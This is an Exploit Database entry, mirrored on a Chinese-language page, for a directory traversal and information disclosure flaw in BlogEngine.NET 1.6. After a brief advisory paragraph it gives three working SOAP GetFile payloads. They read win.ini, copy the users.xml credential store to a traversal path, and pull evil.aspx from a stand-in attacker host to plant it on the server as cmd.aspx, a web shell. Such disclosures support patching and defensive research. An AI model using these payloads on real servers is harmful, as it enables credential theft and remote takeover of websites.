BlogEngine.NET 1.6 – Directory Traversal / Information Disclosure

• Exploit Database
• 113 阅读

• 作者： Deniz Cevik
  日期： 2011-01-05
• 类别：

  • webapps
  平台：

  • asp
• 来源：https://www.exploit-db.com/exploits/35168/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25

  source: https://www.securityfocus.com/bid/45681/info   BlogEngine.NET is prone to a directory-traversal vulnerability and an information-disclosure vulnerability because the application fails to sufficiently sanitize user-supplied input.   Exploiting the issues may allow an attacker to obtain sensitive information and upload arbitrary files to the webserver that could aid in further attacks.   BlogEngine.NET 1.6 is vulnerable.   The following example SOAP requests are available:   1. <GetFile xmlns="http://dotnetblogengine.net/"> <source>c:\Windows\win.ini</source> <destination>string</destination> </GetFile>   2. <GetFile xmlns="http://dotnetblogengine.net/"> <source>c:\webroot\blog\App_Data\users.xml</source> <destination>../../aa.txt</destination> </GetFile>   3. <GetFile xmlns="http://dotnetblogengine.net/"> <source>http://attacker/evil.aspx</source> <destination>/../../cmd.aspx</destination> </GetFile>